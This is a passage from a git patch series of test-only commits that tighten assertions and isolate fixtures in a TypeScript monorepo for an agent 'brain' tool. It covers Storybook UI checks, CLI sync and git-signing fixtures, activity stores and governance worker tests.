From 19794047706526e60934aa6441caed3224c4afaa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:03:25 +0100 Subject: [PATCH 001/252] test(ui-kit): the morning digest's FYI card is checked to hold no nested control Test-Health: th-20261110163718-a0e3cd#0 --- .../ui-kit/stories/screens/MorningDigest.stories.tsx | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx index 492fb71017..ed98af141a 100644 --- a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx +++ b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx @@ -1,5 +1,5 @@ import preview from "#.storybook/preview"; -import { expect, fn } from "storybook/test"; +import { expect, fn, within } from "storybook/test"; import { actions } from "../../fixtures/actions.js"; import { digestFootnote, digestStats, overnight, overnightSpend, today } from "../../fixtures/events.js"; @@ -98,7 +98,7 @@ export const NothingEscapesTheFrame = MorningDigest.extend({ * component's own stories, and still be the wrong screen. */ export const FactsBeforeAnythingAsks = MorningDigest.extend({ - play: async ({ canvas, canvasElement }) => { + play: async ({ canvas }) => { await expect(await canvas.findAllByText("Today")).toHaveLength(1); await expect(await canvas.findAllByText(today[0]!.meta!)).toHaveLength(1); for (const item of today[0]!.items) await expect(await canvas.findByText(item.title)).toBeVisible(); @@ -118,7 +118,10 @@ export const FactsBeforeAnythingAsks = MorningDigest.extend({ // The only card on the screen is the kind that asks for nothing: no button, // no approve/deny pair, one chevron to somewhere else. - await expect(canvasElement.querySelectorAll('[role="button"]').length).toBeGreaterThan(0); + // The card is itself the one control, and nothing inside it is another. + const card = (await canvas.findByText(fyi.title)).closest('[role="button"]'); + await expect(card).not.toBeNull(); + await expect(within(card!).queryAllByRole("button")).toEqual([]); await expect(await canvas.findByText(fyi.rightMeta!)).toBeTruthy(); }, }); From fae1e9e1baf59e05fcc0975bb76c6c3b4378f2b1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:13:41 +0100 Subject: [PATCH 002/252] test(ui-kit): the chat answer's no-prose claim pins the body to its seven blocks Test-Health: th-20261110163718-a0e3cd#1 --- packages/ui-kit/stories/screens/ChatAnswer.stories.tsx | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx b/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx index b2740afa99..912580f387 100644 --- a/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx +++ b/packages/ui-kit/stories/screens/ChatAnswer.stories.tsx @@ -145,7 +145,11 @@ export const NothingEscapesTheFrame = ChatAnswer.extend({ * stopped being the thing the design is arguing for. */ export const NoProseParagraphAnywhere = ChatAnswer.extend({ - play: async ({ canvas }) => { + play: async ({ canvas, canvasElement }) => { + // The body is the seven blocks the catalog names and nothing else: the + // question, the trace, the tiles, the quotation, the steps, the map and + // the chips. A summary paragraph is an eighth block, whatever it renders as. + await expect(canvasElement.querySelector(".bk-screen-body")!.children).toHaveLength(7); // The quotation cites a document and a line. await expect(await canvas.findByText(forecastQuote.source)).toBeTruthy(); await expect(await canvas.findByText(forecastQuote.locator)).toBeTruthy(); From 2f9b430a8e1bd9ee6a4f0d0fb4a5956a7a27d451 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:22:00 +0100 Subject: [PATCH 003/252] test(core): isolate the sync contract fixture from env-scoped signing, give the redacted-baseline case its own baseline Refs #3485. The cli-contract sync fixture and its brain sync runs carry withoutSigning, so an environment-scoped commit.gpgsign no longer makes them fail. eval-baseline's redacted-baseline case no longer depends on the case before it, and instructions-weight prints the problem list on failure. Test-Health: th-20261110163736-83b662#0 --- packages/core/tests/cli-contract.test.ts | 15 ++++++++++----- packages/core/tests/eval-baseline.test.ts | 5 ++++- packages/core/tests/instructions-weight.test.ts | 2 +- 3 files changed, 15 insertions(+), 7 deletions(-) diff --git a/packages/core/tests/cli-contract.test.ts b/packages/core/tests/cli-contract.test.ts index 54ead3d434..83288d5a50 100644 --- a/packages/core/tests/cli-contract.test.ts +++ b/packages/core/tests/cli-contract.test.ts @@ -10,7 +10,8 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync } from import { tmpdir } from "os"; import { join } from "path"; -import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; +import { withoutSigning } from "./git-fixture"; import { packageVersion } from "../src/package-version"; let root: string; @@ -540,8 +541,12 @@ describe("sync", () => { test("human mode: the report, then the agent's text; machine mode: one result", async () => { const brain = makeTempBrain({ empty: true }); const remote = mkdtempSync(join(tmpdir(), "brain-contract-remote-")); + // Signing is switched off per command (#3485): an environment-scoped + // GIT_CONFIG_COUNT outranks the repository-local setting below, and both + // the fixture's commit and the one `brain sync` makes would try to sign. + const unsigned = withoutSigning(keylessEnv(brain)); const git = (...args: string[]) => { - const result = Bun.spawnSync(["git", "-C", brain, ...args]); + const result = Bun.spawnSync(["git", "-C", brain, ...args], { env: unsigned }); if (result.exitCode !== 0) throw new Error(`git ${args.join(" ")}: ${result.stderr.toString()}`); }; try { @@ -570,7 +575,7 @@ export default defineConfig({ writeFileSync(join(brain, "survey.xyz"), "eagle survey grid\n"); // An output flag is not a verb: `--human` is the text… - const human = await runCli(brain, ["sync", "--human"]); + const human = await runCli(brain, ["sync", "--human"], unsigned); expect(human.code).toBe(0); expect(human.stdout).toStartWith("brain sync: complete\n"); expect(human.stdout).toContain(" unknown: survey.xyz\n"); @@ -579,7 +584,7 @@ export default defineConfig({ // …and `--json`, or a stdout that is not a terminal, the one result. for (const flags of [[], ["--json"]]) { - const { stdout, code } = await runCli(brain, ["sync", ...flags]); + const { stdout, code } = await runCli(brain, ["sync", ...flags], unsigned); expect(code).toBe(0); const body = JSON.parse(stdout); expect(body.run.status).toBe("complete"); @@ -594,7 +599,7 @@ export default defineConfig({ }); } - const unknown = await runCli(brain, ["sync", "--not-a-flag"]); + const unknown = await runCli(brain, ["sync", "--not-a-flag"], unsigned); expect(unknown.code).toBe(1); expect(unknown.stderr).toContain("Unknown flag: --not-a-flag"); } finally { diff --git a/packages/core/tests/eval-baseline.test.ts b/packages/core/tests/eval-baseline.test.ts index 11231d0650..a2b80dc6eb 100644 --- a/packages/core/tests/eval-baseline.test.ts +++ b/packages/core/tests/eval-baseline.test.ts @@ -157,7 +157,10 @@ describe("--redact", () => { }); test("a redacted run still works as a baseline", async () => { - const { code, out } = await evalRun("--set", "evals/set.jsonl", "--baseline", "evals/shared.json"); + // Its own redacted baseline, so the test does not need the one above to have run first. + const written = await evalRun("--set", "evals/set.jsonl", "--redact", "--out", "evals/redacted-baseline.json"); + expect(written.code).toBe(0); + const { code, out } = await evalRun("--set", "evals/set.jsonl", "--baseline", "evals/redacted-baseline.json"); expect(code).toBe(0); expect(out.baseline.modes[0].hit_at["1"].unchanged).toBe(4); }); diff --git a/packages/core/tests/instructions-weight.test.ts b/packages/core/tests/instructions-weight.test.ts index c7beb34b0f..6825a3cb80 100644 --- a/packages/core/tests/instructions-weight.test.ts +++ b/packages/core/tests/instructions-weight.test.ts @@ -104,7 +104,7 @@ describe("measureInstructions", () => { mkdirSync(dir, { recursive: true }); writeFileSync(join(dir, "SKILL.md"), "---\nname: broken\n---\n\nNo description.\n"); const m = measureInstructions(root, []); - expect(m.problems.some((p) => p.includes("broken") && p.includes("missing name or description"))).toBe(true); + expect(m.problems).toContainEqual(expect.stringMatching(/broken.*missing name or description|missing name or description.*broken/)); expect(names(root)).not.toContain("skill broken"); }); }); From 51489b6d997ef3e32ef5067c61fa08996b5d7659 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:26:56 +0100 Subject: [PATCH 004/252] test(ui-kit): the static ListRow and QueueItemRow contracts first prove the row renders Test-Health: th-20261110163718-a0e3cd#2 --- packages/ui-kit/stories/rows/ListRow.stories.tsx | 3 +++ packages/ui-kit/stories/rows/QueueItemRow.stories.tsx | 3 +++ 2 files changed, 6 insertions(+) diff --git a/packages/ui-kit/stories/rows/ListRow.stories.tsx b/packages/ui-kit/stories/rows/ListRow.stories.tsx index 7b7967fb7a..8ff69c93db 100644 --- a/packages/ui-kit/stories/rows/ListRow.stories.tsx +++ b/packages/ui-kit/stories/rows/ListRow.stories.tsx @@ -156,6 +156,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined, selected: true }, play: async ({ canvas, canvasElement }) => { + // The row is there, displaying its value; only the pressable part is gone. + await expect(await canvas.findByText("First light tomorrow")).toBeVisible(); + await expect(await canvas.findByText("05:30")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx b/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx index c22ace8ed6..5c1c335dd9 100644 --- a/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx +++ b/packages/ui-kit/stories/rows/QueueItemRow.stories.tsx @@ -129,6 +129,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The row is there, reading as a queue item; only the pressable part is gone. + await expect(await canvas.findByText("edit · voyage/_index.md")).toBeVisible(); + await expect(await canvas.findByText("blocked")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); From c67918af444adbd4c99d5dadbaad76376dfe851d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:36:09 +0100 Subject: [PATCH 005/252] test(core): the no-enrichment asset-cache case runs with a provider so its placeholder check can fail Test-Health: th-20261110163736-83b662#2 --- packages/core/tests/indexer.test.ts | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/packages/core/tests/indexer.test.ts b/packages/core/tests/indexer.test.ts index c5cfdb0cb2..ec732d2b58 100644 --- a/packages/core/tests/indexer.test.ts +++ b/packages/core/tests/indexer.test.ts @@ -707,9 +707,11 @@ describe("asset cache non-poisoning", () => { "assets/logo.png": FAKE_PNG, }); - // No provider and no enrichment: the asset is registered with a descriptor - // placeholder, nothing is embedded, and no sidecar is written. - await runIndex(root, { embeddings: true }); + // A provider and no enrichment: the asset is registered with a descriptor + // placeholder, and the embeddings run still writes the sidecar caches, so + // the placeholder filter is what keeps it out. Without a provider no cache + // is written at all and nothing here could fail. + await runIndex(root, { embeddings: true, provider: makeProvider() }); const db = await openRead(root); const asset = db @@ -719,12 +721,8 @@ describe("asset cache non-poisoning", () => { db.close(); // The committed sidecar cache must never learn placeholders or title - // fallbacks (the file may legitimately not exist at all). - for (const entry of readAssetCache(root)) { - expect(entry.v.startsWith("[Image:")).toBe(false); - expect(entry.v.startsWith("[PDF:")).toBe(false); - expect(entry.v).not.toBe("assets: logo"); - } + // fallbacks: the one asset has no description, so the cache holds nothing. + expect(readAssetCache(root)).toEqual([]); }); test("the sidecar rehydrates a lost brain.db even without enrichment", async () => { From 0e9c9fa5a5c44bc69a97741daf6b83a6cac0d558 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:58:52 +0100 Subject: [PATCH 006/252] test(core): the past-date line check prints the message it rejects Test-Health: th-20261110163736-83b662#3 --- packages/core/tests/auditor-canonical-policy.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/auditor-canonical-policy.test.ts b/packages/core/tests/auditor-canonical-policy.test.ts index b48bb6a7c2..0f12603f40 100644 --- a/packages/core/tests/auditor-canonical-policy.test.ts +++ b/packages/core/tests/auditor-canonical-policy.test.ts @@ -237,7 +237,7 @@ describe("brain audit --json on a copy of the fixture corpus", () => { growFocus(root); const past = (await auditJson(root)).filter((i) => i.category === "past-date" && i.message.includes("2020-01-01")); expect(past).toHaveLength(1); - expect(past[0].message.startsWith("Line ")).toBe(true); + expect(past[0].message).toStartWith("Line "); }); test("with the root and a pinned clock, the line is the file's", async () => { From e8461964549444ba67dd7f9b34a440923989b765 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:16:13 +0100 Subject: [PATCH 007/252] test(ui-server): pi-only registry test requires the pi roster instead of accepting a missing package Test-Health: th-20261110163814-571eb3#4 --- packages/ui-server/tests/backend-registry.test.ts | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/backend-registry.test.ts b/packages/ui-server/tests/backend-registry.test.ts index 2de57132b8..7404c1e1f7 100644 --- a/packages/ui-server/tests/backend-registry.test.ts +++ b/packages/ui-server/tests/backend-registry.test.ts @@ -124,17 +124,9 @@ describe("backend registry", () => { test("pi mode remains isolated from the default Claude backend", async () => { const registry = registryFor({ AGENT_BACKEND: "pi" }); - try { - expect((await registry.getBackends()).map((backend) => backend.id)).toEqual(["pi"]); - } catch (err) { - // The optional pi package is intentionally absent in this checkout. The - // actionable error also proves registry construction took the pi-only - // branch before considering any other backend. - expect(err).toBeInstanceOf(Error); - expect((err as Error).message).toContain( - 'AGENT_BACKEND=pi but "@schlessera/brain-backend-pi" is not installed' - ); - } + // The pi package is a workspace member, so the pi-only branch must + // resolve; a missing-package refusal is a failure here, not a pass. + expect((await registry.getBackends()).map((backend) => backend.id)).toEqual(["pi"]); }); }); From d2e248ac7b23f9e95562b5962fba6d8056946ab9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:27:26 +0100 Subject: [PATCH 008/252] test(ui-server): activity store and recorder tests assert exact wait boundary and fallback payload, and clean up the two-writer database Test-Health: th-20261110163814-571eb3#7 --- .../ui-server/tests/activity-recorder.test.ts | 3 +- .../ui-server/tests/activity-store.test.ts | 85 ++++++++++--------- 2 files changed, 48 insertions(+), 40 deletions(-) diff --git a/packages/ui-server/tests/activity-recorder.test.ts b/packages/ui-server/tests/activity-recorder.test.ts index c121e819e1..410e9d23dd 100644 --- a/packages/ui-server/tests/activity-recorder.test.ts +++ b/packages/ui-server/tests/activity-recorder.test.ts @@ -272,7 +272,8 @@ describe("tool payload capture (AE7)", () => { const events = eventsOf(store, "turn-bigint", "tool-1"); expect(events.map((e) => e.eventType)).toEqual(["tool_input"]); - expect(typeof events[0]!.payload).toBe("string"); + // JSON.stringify throws on a BigInt member; the fallback is String(value). + expect(events[0]!.payload).toBe("[object Object]"); }); }); diff --git a/packages/ui-server/tests/activity-store.test.ts b/packages/ui-server/tests/activity-store.test.ts index eabf67fc2c..a6b01bada1 100644 --- a/packages/ui-server/tests/activity-store.test.ts +++ b/packages/ui-server/tests/activity-store.test.ts @@ -1,6 +1,7 @@ import { describe, expect, test } from "bun:test"; import { Database } from "bun:sqlite"; -import { readdirSync, readFileSync } from "fs"; +import { mkdtempSync, readdirSync, readFileSync, rmSync } from "fs"; +import { tmpdir } from "os"; import { join } from "path"; import { createTurnRecorder } from "../src/activity/recorder.js"; @@ -86,11 +87,12 @@ describe("activity store: spans and ordering", () => { kind: "tool", origin: "session", }); - store.patchSpan("tool-1", { waitUntil: Date.now() }); + const waitUntil = 1_800_000_000_000; + store.patchSpan("tool-1", { waitUntil }); store.endSpan("tool-1", { outcome: "denied", reason: "user declined" }); const span = store.getSpan("tool-1")!; expect(span.outcome).toBe("denied"); - expect(span.waitUntil).not.toBeNull(); + expect(span.waitUntil).toBe(waitUntil); }); test("cascade close cancels open children with reason", () => { @@ -151,44 +153,49 @@ describe("activity store: spans and ordering", () => { describe("activity store: two writers", () => { test("interleaved writers on one file never collide on per-run seq", () => { - const path = `/tmp/activity-two-writer-${process.pid}-${Date.now()}.db`; + const dir = mkdtempSync(join(tmpdir(), "activity-two-writer-")); + const path = join(dir, "ui.db"); const dbA = createUiDb(path); const dbB = createUiDb(path); - const server = createActivityStore(dbA, { writer: "server" }); - const cron = createActivityStore(dbB, { writer: "cron" }); - - startTurn(server, "turn-run"); - cron.startSpan({ - spanId: "cron-root", - runId: "cron-run", - name: "cron sync", - kind: "cron", - origin: "cron", - jobName: "sync", - }); - server.startSpan({ - spanId: "turn-tool", - runId: "turn-run", - parentSpanId: "turn-run-root", - name: "execute_tool Read", - kind: "tool", - origin: "session", - }); - cron.endSpan("cron-root", { outcome: "success" }); - server.endSpan("turn-tool", { outcome: "success" }); - server.endSpan("turn-run-root", { outcome: "success" }); - - // The server discovers the cron writer's run purely via the global cursor. - const all = server.changesSince(0, 100); - const cronChanges = all.filter((c) => c.runId === "cron-run"); - expect(cronChanges.map((c) => c.seq)).toEqual([1, 2]); - const turnChanges = all.filter((c) => c.runId === "turn-run"); - expect(turnChanges.map((c) => c.seq)).toEqual([1, 2, 3, 4]); - // Global cursor strictly increases across both writers. - const ids = all.map((c) => c.changeId); - expect([...ids].sort((a, b) => a - b)).toEqual(ids); - dbA.close(); - dbB.close(); + try { + const server = createActivityStore(dbA, { writer: "server" }); + const cron = createActivityStore(dbB, { writer: "cron" }); + + startTurn(server, "turn-run"); + cron.startSpan({ + spanId: "cron-root", + runId: "cron-run", + name: "cron sync", + kind: "cron", + origin: "cron", + jobName: "sync", + }); + server.startSpan({ + spanId: "turn-tool", + runId: "turn-run", + parentSpanId: "turn-run-root", + name: "execute_tool Read", + kind: "tool", + origin: "session", + }); + cron.endSpan("cron-root", { outcome: "success" }); + server.endSpan("turn-tool", { outcome: "success" }); + server.endSpan("turn-run-root", { outcome: "success" }); + + // The server discovers the cron writer's run purely via the global cursor. + const all = server.changesSince(0, 100); + const cronChanges = all.filter((c) => c.runId === "cron-run"); + expect(cronChanges.map((c) => c.seq)).toEqual([1, 2]); + const turnChanges = all.filter((c) => c.runId === "turn-run"); + expect(turnChanges.map((c) => c.seq)).toEqual([1, 2, 3, 4]); + // Global cursor strictly increases across both writers. + const ids = all.map((c) => c.changeId); + expect([...ids].sort((a, b) => a - b)).toEqual(ids); + } finally { + dbA.close(); + dbB.close(); + rmSync(dir, { recursive: true, force: true }); + } }); }); From 8d9abe93f7397497387e0b54d47464f386075fc2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:59:10 +0100 Subject: [PATCH 009/252] test(ui-server): governance worker test requires the roadblock its scope cap records Test-Health: th-20261110163814-571eb3#13 --- packages/ui-server/tests/app-writes-offloop.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/app-writes-offloop.test.ts b/packages/ui-server/tests/app-writes-offloop.test.ts index d246a67cdc..929a97557d 100644 --- a/packages/ui-server/tests/app-writes-offloop.test.ts +++ b/packages/ui-server/tests/app-writes-offloop.test.ts @@ -49,8 +49,9 @@ test("governance events commit on the write worker at FULL, never on the app con expect(await writes.firstTaint({ ...attribution, kind: "taint", payload: { source: "egress_connection", tool: null, detail: "GET troy.example:443" } }), "GOVERNANCE_TAINT_COMMITS_ON_WORKER").toBe(true); await writes.bind("voyage", "ithaca"); expect(f.db.query("SELECT count(*) AS n FROM governance_events WHERE session_id = 'ithaca'").get(), "GOVERNANCE_BIND_COMMITS_ON_WORKER").toEqual({ n: 2 }); - expect(await writes.roadblocks({ ...attribution, sessionId: "ithaca" }, { startedAt: 0, endedAt: 1, calls: [], usage: [], finalUsage: null, outcomeDetail: null })) - .toBeGreaterThanOrEqual(0); + // The committed scope cap is one roadblock episode for this turn. + expect(await writes.roadblocks({ ...attribution, sessionId: "ithaca" }, { startedAt: 0, endedAt: 1, calls: [], usage: [], finalUsage: null, outcomeDetail: null }), "GOVERNANCE_ROADBLOCK_COMMITS_ON_WORKER") + .toBe(1); const runtime = createActivityRuntime(f.db, { log: quietLog, writer: f.writer }); try { await runtime.governance({ ...attribution, kind: "budget_warning", payload: { scope: "turn", unit: "usd", limit: 1, observed: 1, source: "policy" } }); } finally { runtime.close(); } From 3532543898fb95b9f423a0ec587f21415ec8748c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:00:51 +0100 Subject: [PATCH 010/252] test(ui-server): mask alias test requires each alias's own refusal Test-Health: th-20261110163814-571eb3#16 --- packages/ui-server/tests/brain-mask-application.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/brain-mask-application.test.ts b/packages/ui-server/tests/brain-mask-application.test.ts index f271bdd87d..06843f0ec3 100644 --- a/packages/ui-server/tests/brain-mask-application.test.ts +++ b/packages/ui-server/tests/brain-mask-application.test.ts @@ -72,9 +72,9 @@ test("a stale image or previous mask refuses overwrite", async () => { const req = request(); writeFileSync(join(root, imagePath), "changed image"); await refused(req, "stale_base"); }); test("mask hardlink and symlink aliases cannot change policy", async () => { - for (const alias of [linkSync, symlinkSync]) { + for (const [alias, refusal] of [[linkSync, "one link"], [symlinkSync, "is a symlink"]] as const) { alias(join(root, "context/policies/crew.md"), join(root, maskPath)); - expect(() => readMaskBase(root, imagePath)).toThrow(); + expect(() => readMaskBase(root, imagePath)).toThrow(refusal); expect(readFileSync(join(root, "context/policies/crew.md"), "utf8")).toBe("Athena owns these policy bytes.\n"); rmSync(join(root, maskPath)); } From e1a652a1f69752bee4126a27ae3b28b19fe6d2e3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:01:55 +0100 Subject: [PATCH 011/252] test(core): isolate the onboarding pre-commit fixture from env-scoped signing Refs #3485. Test-Health: th-20261110163736-83b662#4 --- packages/core/tests/cli-onboarding.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/core/tests/cli-onboarding.test.ts b/packages/core/tests/cli-onboarding.test.ts index c944a2c5be..8e889afd58 100644 --- a/packages/core/tests/cli-onboarding.test.ts +++ b/packages/core/tests/cli-onboarding.test.ts @@ -19,6 +19,7 @@ import { join } from "path"; import { cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; import { installGitHooks } from "../src/cli/hooks-util"; +import { withoutSigning } from "./git-fixture"; const temps: string[] = []; function tempBrain(opts: { empty?: boolean } = {}): string { @@ -481,8 +482,10 @@ function gitBrainWithHooks(): { root: string; shimDir: string } { } function commit(root: string, shimDir: string, message: string) { + // Signing is off per command (#3485): an environment-scoped + // GIT_CONFIG_COUNT outranks the repository-local setting above. const proc = Bun.spawnSync(["git", "-C", root, "commit", "-q", "-m", message], { - env: { ...process.env, PATH: `${shimDir}:${process.env.PATH}` }, + env: withoutSigning({ ...(process.env as Record), PATH: `${shimDir}:${process.env.PATH}` }), }); return { code: proc.exitCode, From 1bbdbbfb9d1de08f5062bbfb6bf3c4c07f2785f1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:07:59 +0100 Subject: [PATCH 012/252] test(core): test-health batch e3855-core-02 (#3863) * test(core): storage-inventory fixture commit ignores env-scoped signing Refs #3485. The linked-worktree fixture commit takes a command-scoped commit.gpgsign=false; three opaque .some() checks in that test now compare lists. Test-Health: th-20261110163724-c232a4#1 * test(core): search-result-tags names the offending score instead of a boolean Test-Health: th-20261110163724-c232a4#2 * test(core): tags mtime acceptance asserts the accepted baseline equals the indexed mtime Test-Health: th-20261110163724-c232a4#10 * test(core): compare lists instead of booleans in sync pull and propagation review assertions Test-Health: th-20261110163724-c232a4#0 * test(core): sync-commit assertions show the compared values Test-Health: th-20261110163724-c232a4#4 * test(core): sync-pending-state fixtures ignore env-scoped commit signing Refs #3485 Test-Health: th-20261110163724-c232a4#6 * test(core): print the offending transport calls in paid-provider qualification Test-Health: th-20261110163724-c232a4#3 * test(core): cron constraints are tested through the module loader Test-Health: th-20261110163724-c232a4#5 * test(core): restore fetch's descriptor after the seam contract suites Test-Health: th-20261110163724-c232a4#7 * test(core): video Files tests skip the real poll interval and name failing requests Test-Health: th-20261110163724-c232a4#11 * test(core): scratch swap races prove the swap, OKF checker pins each error, render tests skip doctor launches Test-Health: th-20261110163724-c232a4#14 * test(core): print the commit subjects when a sync commit assertion fails Test-Health: th-20261110163724-c232a4#23 * test(core): sync-merge-hidden note assertion shows the notes Test-Health: th-20261110163724-c232a4#26 * test(core): stats history idempotence checks every kept entry; trend states compare as lists Test-Health: th-20261110163724-c232a4#22 * test(core): safe-path resolveWritable asserts the exact path and cleans its temp dir Test-Health: th-20261110163724-c232a4#27 * test(core): give each skill emitter case its own repo, and print values in skill lint assertions Test-Health: th-20261110163724-c232a4#29 * test(core): render input-type cases assert the parser and own their inputs Test-Health: th-20261110163724-c232a4#18 * test(core): use an Ithaca client path in the reranker path-matcher test Refs #2787 Test-Health: th-20261110163724-c232a4#37 * test(core): sync group assertion cannot pass on an empty group list Test-Health: th-20261110163724-c232a4#31 * test(core): print the query plan when the links index assertions fail Test-Health: th-20261110163724-c232a4#40 * test(core): sync-artifacts fixtures ignore env-scoped commit signing Refs #3485 Test-Health: th-20261110163724-c232a4#35 * test(core): storage host reader root assertion shows the roots Test-Health: th-20261110163724-c232a4#32 * test(core): media fixtures ignore host commit signing; media failures name their values Test-Health: th-20261110163724-c232a4#33 * test(core): storage-pack fixture commits disable signing at command scope Refs #3485 Test-Health: th-20261110163724-c232a4#34 * test(core): renderer manifest refusals assert their own reason Test-Health: th-20261110163724-c232a4#48 * test(core): module-entry also catches a bare side-effect import in the fixture module Test-Health: th-20261110163724-c232a4#50 * test(core): storage-attachment-facts prints the references when the possible link is missing Test-Health: th-20261110163724-c232a4#51 * test(core): sync-stash fixture git disables signing at command scope Refs #3485 Test-Health: th-20261110163724-c232a4#45 * test(core): attachment symlink case requires the link itself to be refused Test-Health: th-20261110163724-c232a4#55 --- .../core/tests/links-target-index.test.ts | 6 +-- packages/core/tests/media-config.test.ts | 3 +- packages/core/tests/media-effects.test.ts | 3 +- packages/core/tests/media-inventory.test.ts | 4 +- packages/core/tests/media-references.test.ts | 2 +- packages/core/tests/module-entry.test.ts | 3 +- packages/core/tests/module-renderers.test.ts | 6 ++- packages/core/tests/okf-exporter.test.ts | 6 ++- .../tests/paid-provider-qualification.test.ts | 18 +++---- .../core/tests/propagation-review.test.ts | 4 +- .../core/tests/provider-relay-video.test.ts | 37 ++++++++++--- packages/core/tests/render-scratch.test.ts | 20 ++++--- packages/core/tests/render.test.ts | 22 +++++--- packages/core/tests/reranker-helpers.test.ts | 4 +- packages/core/tests/safe-path.test.ts | 5 +- packages/core/tests/scratch.test.ts | 14 +++-- packages/core/tests/seam-contracts.test.ts | 4 +- .../core/tests/search-result-tags.test.ts | 2 +- .../core/tests/skills-claude-emitter.test.ts | 15 ++++-- packages/core/tests/skills-discover.test.ts | 6 +-- .../core/tests/skills-index-emitters.test.ts | 45 +++++++++++----- packages/core/tests/skills-lint.test.ts | 7 ++- packages/core/tests/skills-pi-emitter.test.ts | 15 ++++-- .../core/tests/skills-shipped-lint.test.ts | 2 +- packages/core/tests/stats-history.test.ts | 6 ++- packages/core/tests/stats-trends-cli.test.ts | 4 +- .../tests/storage-attachment-facts.test.ts | 2 +- .../core/tests/storage-attachments.test.ts | 3 +- .../core/tests/storage-host-reader.test.ts | 2 +- packages/core/tests/storage-inventory.test.ts | 8 +-- packages/core/tests/storage-pack.test.ts | 9 ++-- packages/core/tests/sync-artifacts.test.ts | 18 ++++++- packages/core/tests/sync-assess.test.ts | 5 +- packages/core/tests/sync-commit.test.ts | 14 ++--- packages/core/tests/sync-merge-hidden.test.ts | 2 +- .../core/tests/sync-pending-state.test.ts | 19 ++++++- packages/core/tests/sync-pull-rebase.test.ts | 2 +- packages/core/tests/sync-stash.test.ts | 6 ++- packages/core/tests/sync-verbs.test.ts | 4 +- packages/core/tests/tags.test.ts | 11 ++-- packages/core/tests/taxonomy.test.ts | 54 +++++++++++++------ packages/core/tests/video-completions.test.ts | 20 ++++++- 42 files changed, 307 insertions(+), 135 deletions(-) diff --git a/packages/core/tests/links-target-index.test.ts b/packages/core/tests/links-target-index.test.ts index 4276638845..0486c3a223 100644 --- a/packages/core/tests/links-target-index.test.ts +++ b/packages/core/tests/links-target-index.test.ts @@ -81,7 +81,7 @@ describe("links.target_id index", () => { test("the query under test is still the one brain_graph runs", () => { // A stale copy would keep the plan test green while the real query moved. const source = readFileSync(join(import.meta.dir, "../src/lib/link-walk.ts"), "utf8"); - expect(source.includes(INCOMING_QUERY)).toBe(true); + expect(source).toContain(INCOMING_QUERY); }); test("the brain_graph incoming query searches links by target_id instead of scanning it", () => { @@ -89,7 +89,7 @@ describe("links.target_id index", () => { try { seed(db, 200); const detail = plan(db); - expect(detail.some((d) => /^SCAN l\b/.test(d)), detail.join("\n")).toBe(false); + expect(detail.filter((d) => /^SCAN l\b/.test(d))).toEqual([]); expect( detail.some((d) => /^SEARCH l USING (COVERING )?INDEX \S+ \(target_id=\?\)/.test(d)), detail.join("\n") @@ -125,7 +125,7 @@ describe("links.target_id index", () => { expect(after.prepare("SELECT source_id, target, target_id FROM links ORDER BY source_id, target").all()).toEqual( linksBefore ); - expect(plan(after).some((d) => /^SCAN l\b/.test(d))).toBe(false); + expect(plan(after).filter((d) => /^SCAN l\b/.test(d))).toEqual([]); } finally { after.close(); } diff --git a/packages/core/tests/media-config.test.ts b/packages/core/tests/media-config.test.ts index 0d99c48ad4..a8f8889ece 100644 --- a/packages/core/tests/media-config.test.ts +++ b/packages/core/tests/media-config.test.ts @@ -21,7 +21,8 @@ const dirs: string[] = []; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function 